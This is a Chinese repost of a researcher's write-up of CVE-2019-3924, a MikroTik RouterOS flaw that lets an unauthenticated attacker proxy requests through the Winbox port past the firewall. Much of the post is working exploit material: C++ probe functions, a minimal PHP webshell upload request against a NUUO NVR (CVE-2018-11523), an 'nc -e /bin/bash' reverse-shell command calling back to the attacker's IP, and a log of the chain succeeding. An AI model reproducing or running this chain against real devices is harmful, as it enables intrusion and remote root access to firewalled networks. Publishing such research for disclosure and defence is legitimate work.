MikroTik RouterOS未经认证可绕过防火墙访问NAT内部网络(CVE-2019-3924)

栏目: 服务器 · 发布时间: 7年前

内容简介:设计缺陷在针对MikroTik进行漏洞研究时,我在RouterOS中发现了一个未公开的漏洞,该漏洞的编号为这个代理行为看上去很简洁,但对我而言,最有趣的一个地方是WAN上的攻击者可以向局域网中经过防火墙保护的主机进行攻击。本文将主要介绍这种攻击方法。如果各位读者对复杂的概念验证过程比较感兴趣,建议首先观看下面的视频:

设计缺陷

在针对MikroTik进行漏洞研究时,我在RouterOS中发现了一个未公开的漏洞,该漏洞的编号为 CVE-2019-3924 。该漏洞允许远程攻击者在未经身份验证的情况下通过路由器的 Winbox端口 代理特制的TCP和UDP请求。该代理请求甚至可以绕过路由器的防火墙,到达LAN主机。

这个代理行为看上去很简洁,但对我而言,最有趣的一个地方是WAN上的攻击者可以向局域网中经过防火墙保护的主机进行攻击。本文将主要介绍这种攻击方法。如果各位读者对复杂的概念验证过程比较感兴趣,建议首先观看下面的视频:

https://youtu.be/CxyOtsNVgFg

部署

为了证明这个漏洞,我首先需要选择一个攻击的目标。我没有选择太远的目标,因为我面前的办公桌上就有一台 NUUO NVRMini2 。这台NVR非常适合作为我们漏洞分析的示例,设备应该隐藏在防火墙后面,并且应该与网络上的其他设备相分离。

目前,我已经完成了测试部署。现在,NVRMini2位于MikroTik hAP路由器后面,启用了NAT和防火墙。

对于IP地址为192.168.1.7的攻击者来说,NVRMini2应该是安全的:

在部署过程中,还有一个重要的注意事项,就是我在路由器的防火墙中打开了8291端口,以允许从WAN进行Winbox访问。默认情况下,Winbox仅通过LAN在MikroTik hAP 上提供。不要担心,我只是模拟真实世界中的配置。

现在,攻击者192.168.1.7理论上应该无法与10.0.0.252(目标主机)进行通信,防火墙应该会阻止这样的通信尝试。那么,我们就一起来看看,攻击者如何能绕过这种限制。

探索:如何绕过防火墙

CVE-2019-3924 漏洞的根本原因在于路由器未对网络发现 探针 强制执行身份验证。在正常情况下, The Dude 通过路由器进行身份验证,并通过Winbox端口上传探针。但是,其中一个处理探针(代理程序)的二进制文件无法验证远程用户是否已经通过了身份验证。

探针是一个相当简单的概念。探针是一组变量,用于告知路由器如何与指定端口上的主机通信。该探针最多支持三个请求和响应。响应与提供的正则表达式匹配。以下是内置的HTTP探针。

HTTP探针向80端口发送HEAD请求,并检查响应是否以“HTTP/1”开头。

为了绕开防火墙,并从192.168.1.7与NVRMini2通信,攻击者只需要为路由器提供连接到10.0.0.252:80的探针。有一个显而易见的问题,就是“如何来确定LAN主机是不是NVRMini2?”

NVRMini2和各种OEM都具有非常相似的登录页面标题。

使用title标签,我们可以构建一个检测NVRMini2的探针。下面的内容摘自我在GitHub上的 概念证明 。我再次使用了我的 WinboxMessage 实现。

bool find_nvrmini2(Winbox_Session& session,
                   std::string& p_address,
                   boost::uint32_t p_converted_address,
                   boost::uint32_t p_converted_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "GET / HTTP/1.1\r\nHost:" + p_address +
                      "\r\nAccept:*/*\r\n\r\n");
    msg.add_string(8, "Network Video Recorder Login</title>");
    msg.add_u32(3, p_converted_address); // ip address
    msg.add_u32(4, p_converted_port); // port
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

大家可以看到,我构建了一个发送HTTP GET请求的探针,并在响应中查找“Network Video Recorder Login</title>”。路由器192.168.1.70将接收此探针,并将其发送到我再msg.add_u32(3)和msg.add_u32(4)中定义的主机。在我们的示例中,它分别对应10.0.0.252和80。这个逻辑,绕过了正常的防火墙规则。

下图展示了攻击者(192.168.1.7)使用探针针对10.0.0.254(Ubuntu 18.04)和10.0.0.252(NVRMini2)的探测过程。我们可以看到,攻击者甚至无法ping这些设备。但是,通过使用路由器的Winbox接口,攻击者可以访问LAN主机。

在理论上“无法访问”的局域网上,我们已经可以发现NVRMini2。但是,我们还希望能更进一步,我们希望能获得对该网络的完全访问权限。接下来,让我们寻找一种方法来利用NVRMini2。

制作漏洞利用EXP

使用探针的过程中,有一个最大的问题,就是尺寸的限制。请求和响应的正则表达式不能超过220个字节的组合。这意味着,任何漏洞利用都必须要简洁。我的 NVRMini2栈缓冲区溢出 是简洁的,只需要170个字节就可以溢出Cookie缓冲区。这没有给我们留下太多的空间,但针对 CVE-2018-11523 实现漏洞利用看起来就已经足够了。

CVE-2018-11523漏洞利用代码:

CVE-2018-11523是未经身份验证的文件上传漏洞。攻击者可以利用该漏洞来上传PHP WebShell。在 Exploit-db 上的概念证明是461个字符,这个字符的数量太多了。但是,凭借我们的一点点智慧,可以将大小减到212个字符。

POST /upload.php HTTP/1.1
Host:a
Content-Type:multipart/form-data;boundary=a
Content-Length:96
 
--a
Content-Disposition:form-data;name=userfile;filename=a.php
 
<?php system($_GET['a']);?>
--a

该漏洞利用a.php创建了一个相当精简的PHP WebShell。如果要将其转换为探针的请求,这个过程是相当简单的。

bool upload_webshell(Winbox_Session& session,
                     boost::uint32_t p_converted_address,
                     boost::uint32_t p_converted_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "POST /upload.php HTTP/1.1\r\nHost:a\r\nContent-Type:multipart/form-data;boundary=a\r\nContent-Length:96\r\n\r\n--a\nContent-Disposition:form-data;name=userfile;filename=a.php\n\n<?php system($_GET['a']);?>\n--a\n");
    msg.add_string(8, "200 OK");
    msg.add_u32(3, p_converted_address);
    msg.add_u32(4, p_converted_port);
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

通过路由器,将上述探针请求发送到10.0.0.252:80,这样就可以创建一个基本的PHP WebShell。

制作反向Shell

此时,您应该可以使用WebShell开始盲目地在NVR上执行命令。但无法看到响应,并且始终要考虑到探针的大小限制,这两个问题比较烦人。因此,我们提出了一个更加理想的解决方案,也就是建立一个到192.168.1.7(攻击者的盒子)的反向Shell。

现在,在我看来,嵌入式系统并没有理由让nc使用-e选项。然而,我们不能按照常规的思路来做一些事情,NVRMini2也不例外。实际上,nc –e仍然是我们可以考虑的一个选择。

bool execute_reverse_shell(Winbox_Session& session,
                           boost::uint32_t p_converted_address,
                           boost::uint32_t p_converted_port,
                           std::string& p_reverse_ip,
                           std::string& p_reverse_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r\nHost:a\r\n\r\n");
    msg.add_string(8, "200 OK");
    msg.add_u32(3, p_converted_address);
    msg.add_u32(4, p_converted_port);
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

上面的探针通过a.php上的WebShell执行命令“nc 192.168.1.7 1270 –e /bin/bash”。nc命令将使用Root Shell连接回攻击者的盒子。

组合利用

接下来,我们将上面的三个部分合并为一个漏洞的组合利用。该漏洞利用过程会连接到路由器,将发送探针到LAN目标,上传WebShell,并执行反向 Shell 返回WAN主机。

<a href="/cdn-cgi/l/email-protection" data-cfemail="07666b656e69686b68657473627547726572697372">[email protected]</a>:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at 192.168.1.70:8291
[+] Connected!
[+] Looking for a NUUO NVR at 10.0.0.252:80
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to 192.168.1.7:1270
[+] Done!
<a href="/cdn-cgi/l/email-protection" data-cfemail="e889848a81868784878a9b9c8d9aa89d8a9d869c9d">[email protected]</a>:~/routeros/poc/cve_2019_3924/build$

监听器将按照预期获取到Root Shell。

总结

我在撰写博客文章以回应 Zerodium的推文 时发现了这个漏洞。实际上,我并没有积极研究MikroTik的漏洞,只是想为 BSidesDublin 做好准备。我非常好奇,现在有哪些研究人员正在针对MikroTik进行漏洞研究?他们是否已经将发现的漏洞不求回报地告知MikroTik,还是已经将这些漏洞卖给了Zerodium?


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Discrete Mathematics and Its Applications

Discrete Mathematics and Its Applications

Kenneth H Rosen / McGraw-Hill Science/Engineering/Math / 2003-04-22 / USD 132.81

Discrete Mathematics and its Applications is a focused introduction to the primary themes in a discrete mathematics course, as introduced through extensive applications, expansive discussion, and deta......一起来看看 《Discrete Mathematics and Its Applications》 这本书的介绍吧!

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具